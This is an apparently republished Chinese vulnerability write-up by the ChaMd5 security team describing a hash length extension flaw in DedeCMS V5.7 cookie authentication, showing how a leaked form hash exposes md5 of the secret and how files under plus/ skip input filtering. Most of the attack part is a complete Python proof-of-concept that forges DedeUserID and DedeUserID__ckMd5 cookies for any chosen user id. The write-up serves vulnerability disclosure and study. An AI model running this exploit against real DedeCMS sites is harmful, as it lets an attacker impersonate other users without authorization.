记DedeCMS一处由哈希长度拓展攻击引起的越权漏洞

阅读量310701

发布时间 : 2018-07-24 16:00:37

本文来自 ChaMd5安全团队审计组 呆哥,文章内容以思路为主。

如需转载,请先联系ChaMd5安全团队授权。

未经授权请勿转载。

漏洞影响:Dedecms(织梦CMS) V5.7.72 正式版20180109 (最新版)

 

漏洞原理

DedeCMS用户认证是通过验证Cookie中的 DedeUserID和DedeUserID__ckMd5进行的,具体如下:

P7K1F5~DK`I$}OA_F3_P`9T

其中$cfg_cookie_encode是安装时生成的不可预测字符串。

其中md5($cfg_cookie_encode.$_COOKIE[$key])符合md5(salt + padding + data)的格式,易受哈希长度拓展攻击,只要我们知道了md5($cfg_cookie_encode)和$cfg_cookie_encode的长度即可伪造cookie。

从安装时的逻辑中我们可以知道$cfg_cookie_encode的长度为28~32

T)O(~BV8PMU24DM463X`D8S

找到memberarticle_add.php

PHJTU(}T7KWX49@)$75QFFD

25行检测dopost是否为空,46行导入模板文件

找到membertempletsarticle_add.htm

PL2K7{DB[(6CJ({(DYMZE(0

74行调用PrintAutoFieldsAdd(),跟进去

ST9%T~1SJW$5_U0(4E{`@(Y

238行输出$dede_addonfields

239行输出md5($dede_addonfields.$cfg_cookie_encode)

浏览器中直接访问,可知在默认情况下$dede_addonfields为空值

](I5]D7U6Y4ZR2N40[41{PV

因此表单dede_fieldshash的值就是md5($cfg_cookie_encode)

找到MemberLogin类,M_ID 在从cookie中获取时会调用GetNum()进行处理

1(0{OH(OI1([84S9V$9FU78

跟进去

[AXA@ZLWJJE6AU_F[LVN[EJ

这样处理一下就会消除哈希长度扩展攻击引入的空字符等特殊字符的影响

但是在全局文件config.php中会对输入调用XSSClean()对$_COOKIE进行过滤

5WB)RD{]OW_(PKADF[QE{90

从24行可知,空字符会被替换为空导致漏洞不能利用。

又研究了一下发现plus下的文件都是直接包含common.inc.php而不是config.php

因此可以利用此目录下的文件进行哈希长度拓展攻击!

例如,plusfeedback_ajax.php 用于文章评论,因此这里可以利用哈希长度拓展攻击伪造任意用户身份实现越权评论文章!

32`N}WEKW)WR]~)RFA3]Q19

GG{VEB3Q3G9RF9XE4X[BK%T

 

参考链接:https://blog.csdn.net/qq_35078631/article/details/70941204

 

POC

import sys
import hashlib
import urllib

#此POC只需修改以下两个参数
userid = '1' #此变量就是要伪造的用户id
dede_fieldshash = '8b5d1a6dd0899aff8658b667a0923765' #该值从article_add.php的源码中获取

def genMsgLengthDescriptor(msg_bitsLenth):
return __import__("struct").pack(">Q",msg_bitsLenth).encode("hex")

def reverse_hex_8bytes(hex_str):
hex_str = "%016x"%int(hex_str,16)
assert len(hex_str)==16
return __import__("struct").pack("<Q",int(hex_str,16)).encode("hex")

def reverse_hex_4bytes(hex_str):
hex_str = "%08x"%int(hex_str,16)
assert len(hex_str)==8
return __import__("struct").pack("<L",int(hex_str,16)).encode("hex")

def deal_rawInputMsg(input_msg):
ascii_list = [x.encode("hex") for x in input_msg]
length_msg_bytes = len(ascii_list)
length_msg_bits = len(ascii_list)*8
ascii_list.append('80')
while (len(ascii_list)*8+64)%512 != 0:
ascii_list.append('00')
ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
return "".join(ascii_list)

def getM16(hex_str,operatingBlockNum):
M = [int(reverse_hex_4bytes(hex_str[i:(i+8)]),16) for i in xrange(128*(operatingBlockNum-1),128*operatingBlockNum,8)]
return M

def T(i):
result = (int(4294967296*abs(__import__("math").sin(i))))&0xffffffff
return result

F = lambda x,y,z:((x&y)|((~x)&z))
G = lambda x,y,z:((x&z)|(y&(~z)))
H = lambda x,y,z:(x^y^z)
I = lambda x,y,z:(y^(x|(~z)))
RL = L = lambda x,n:(((x<<n)|(x>>(32-n)))&(0xffffffff))

def FF(a, b, c, d, x, s, ac):
a = (a+F ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a
def GG(a, b, c, d, x, s, ac):
a = (a+G ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a
def HH(a, b, c, d, x, s, ac):
a = (a+H ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a
def II(a, b, c, d, x, s, ac):
a = (a+I ((b), (c), (d)) + (x) + (ac)&0xffffffff)&0xffffffff;
a = RL ((a), (s))&0xffffffff;
a = (a+b)&0xffffffff
return a

def show_md5(A,B,C,D):
return "".join( [  "".join(__import__("re").findall(r"..","%08x"%i)[::-1]) for i in (A,B,C,D)  ]  )

def run_md5(A=0x67452301,B=0xefcdab89,C=0x98badcfe,D=0x10325476,readyMsg=""):

a = A
b = B
c = C
d = D

for i in xrange(0,len(readyMsg)/128):
M = getM16(readyMsg,i+1)
for i in xrange(16):
exec "M"+str(i)+"=M["+str(i)+"]"
#First round
a=FF(a,b,c,d,M0,7,0xd76aa478L)
d=FF(d,a,b,c,M1,12,0xe8c7b756L)
c=FF(c,d,a,b,M2,17,0x242070dbL)
b=FF(b,c,d,a,M3,22,0xc1bdceeeL)
a=FF(a,b,c,d,M4,7,0xf57c0fafL)
d=FF(d,a,b,c,M5,12,0x4787c62aL)
c=FF(c,d,a,b,M6,17,0xa8304613L)
b=FF(b,c,d,a,M7,22,0xfd469501L)
a=FF(a,b,c,d,M8,7,0x698098d8L)
d=FF(d,a,b,c,M9,12,0x8b44f7afL)
c=FF(c,d,a,b,M10,17,0xffff5bb1L)
b=FF(b,c,d,a,M11,22,0x895cd7beL)
a=FF(a,b,c,d,M12,7,0x6b901122L)
d=FF(d,a,b,c,M13,12,0xfd987193L)
c=FF(c,d,a,b,M14,17,0xa679438eL)
b=FF(b,c,d,a,M15,22,0x49b40821L)
#Second round
a=GG(a,b,c,d,M1,5,0xf61e2562L)
d=GG(d,a,b,c,M6,9,0xc040b340L)
c=GG(c,d,a,b,M11,14,0x265e5a51L)
b=GG(b,c,d,a,M0,20,0xe9b6c7aaL)
a=GG(a,b,c,d,M5,5,0xd62f105dL)
d=GG(d,a,b,c,M10,9,0x02441453L)
c=GG(c,d,a,b,M15,14,0xd8a1e681L)
b=GG(b,c,d,a,M4,20,0xe7d3fbc8L)
a=GG(a,b,c,d,M9,5,0x21e1cde6L)
d=GG(d,a,b,c,M14,9,0xc33707d6L)
c=GG(c,d,a,b,M3,14,0xf4d50d87L)
b=GG(b,c,d,a,M8,20,0x455a14edL)
a=GG(a,b,c,d,M13,5,0xa9e3e905L)
d=GG(d,a,b,c,M2,9,0xfcefa3f8L)
c=GG(c,d,a,b,M7,14,0x676f02d9L)
b=GG(b,c,d,a,M12,20,0x8d2a4c8aL)
#Third round
a=HH(a,b,c,d,M5,4,0xfffa3942L)
d=HH(d,a,b,c,M8,11,0x8771f681L)
c=HH(c,d,a,b,M11,16,0x6d9d6122L)
b=HH(b,c,d,a,M14,23,0xfde5380c)
a=HH(a,b,c,d,M1,4,0xa4beea44L)
d=HH(d,a,b,c,M4,11,0x4bdecfa9L)
c=HH(c,d,a,b,M7,16,0xf6bb4b60L)
b=HH(b,c,d,a,M10,23,0xbebfbc70L)
a=HH(a,b,c,d,M13,4,0x289b7ec6L)
d=HH(d,a,b,c,M0,11,0xeaa127faL)
c=HH(c,d,a,b,M3,16,0xd4ef3085L)
b=HH(b,c,d,a,M6,23,0x04881d05L)
a=HH(a,b,c,d,M9,4,0xd9d4d039L)
d=HH(d,a,b,c,M12,11,0xe6db99e5L)
c=HH(c,d,a,b,M15,16,0x1fa27cf8L)
b=HH(b,c,d,a,M2,23,0xc4ac5665L)
#Fourth round
a=II(a,b,c,d,M0,6,0xf4292244L)
d=II(d,a,b,c,M7,10,0x432aff97L)
c=II(c,d,a,b,M14,15,0xab9423a7L)
b=II(b,c,d,a,M5,21,0xfc93a039L)
a=II(a,b,c,d,M12,6,0x655b59c3L)
d=II(d,a,b,c,M3,10,0x8f0ccc92L)
c=II(c,d,a,b,M10,15,0xffeff47dL)
b=II(b,c,d,a,M1,21,0x85845dd1L)
a=II(a,b,c,d,M8,6,0x6fa87e4fL)
d=II(d,a,b,c,M15,10,0xfe2ce6e0L)
c=II(c,d,a,b,M6,15,0xa3014314L)
b=II(b,c,d,a,M13,21,0x4e0811a1L)
a=II(a,b,c,d,M4,6,0xf7537e82L)
d=II(d,a,b,c,M11,10,0xbd3af235L)
c=II(c,d,a,b,M2,15,0x2ad7d2bbL)
b=II(b,c,d,a,M9,21,0xeb86d391L)

A += a
B += b
C += c
D += d

A = A&0xffffffff
B = B&0xffffffff
C = C&0xffffffff
D = D&0xffffffff

a = A
b = B
c = C
d = D

return show_md5(a,b,c,d)

cfg_cookie_encode_md5 = dede_fieldshash

s1 = cfg_cookie_encode_md5[0:8]
s1 = '0x' + s1[6:8] + s1[4:6] + s1[2:4] + s1[0:2]
s2 = cfg_cookie_encode_md5[8:16]
s2 = '0x' + s2[6:8] + s2[4:6] + s2[2:4] + s2[0:2]
s3 = cfg_cookie_encode_md5[16:24]
s3 = '0x' + s3[6:8] + s3[4:6] + s3[2:4] + s3[0:2]
s4 = cfg_cookie_encode_md5[24:36]
s4 = '0x' + s4[6:8] + s4[4:6] + s4[2:4] + s4[0:2]
exec('s1=%s' %s1)
exec('s2=%s' %s2)
exec('s3=%s' %s3)
exec('s4=%s' %s4)

#这里的循环产生5种可能的DedeUserID,原因是$cfg_cookie_encode的长度无法预测

for origin_length in range(28,33):
if origin_length != 32:
length = chr(origin_length*8)
secret_admin = 'a'*origin_length+'x80'+'x00'*(64-origin_length-1-8)+length+'x00'*7 + userid
else:
secret_admin = 'a'*origin_length+'x80'+'x00'*(64-origin_length-1-8)+'x00x01'+'x00'*6 + userid

r = deal_rawInputMsg(secret_admin)

inp = r[len(r)/2:]
ans = ''
cnt = 0

for i in r[:len(r)/2]:
if(cnt%2 == 0):
ans += '%'
ans += i
cnt += 1

print "DedeUserID: "+ans[(origin_length*3):]+userid
print

print "DedeUserID__ckMd5: "+run_md5(s1,s2,s3,s4,inp)[0:16]

 

PS

关于哈希长度扩展攻击的工具,可参考pcat的两篇博文:

http://www.cnblogs.com/pcat/p/7668989.html

http://www.cnblogs.com/pcat/p/5478509.html

本文转载自:

如若转载,请注明出处: https://mp.weixin.qq.com/s/Ssyu7caIvzEb28aS38271Q

安全客 - 有思想的安全新媒体

分享到:微信
+15赞
收藏
ChaMd5安全团队
分享到:微信

发表评论

ChaMd5安全团队

ChaMd5安全团队成立于2016年,专注于算法加解密、安全漏洞挖掘、CTF竞赛及安全人才培养。团队成员来自启明星辰、绿盟、知道创宇、360、永信至诚、牛盾、无声信息等安全公司,且也有部分在校学生与自由职业者。

  • 文章
  • 5
  • 粉丝
  • 4

热门推荐

文章目录
内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66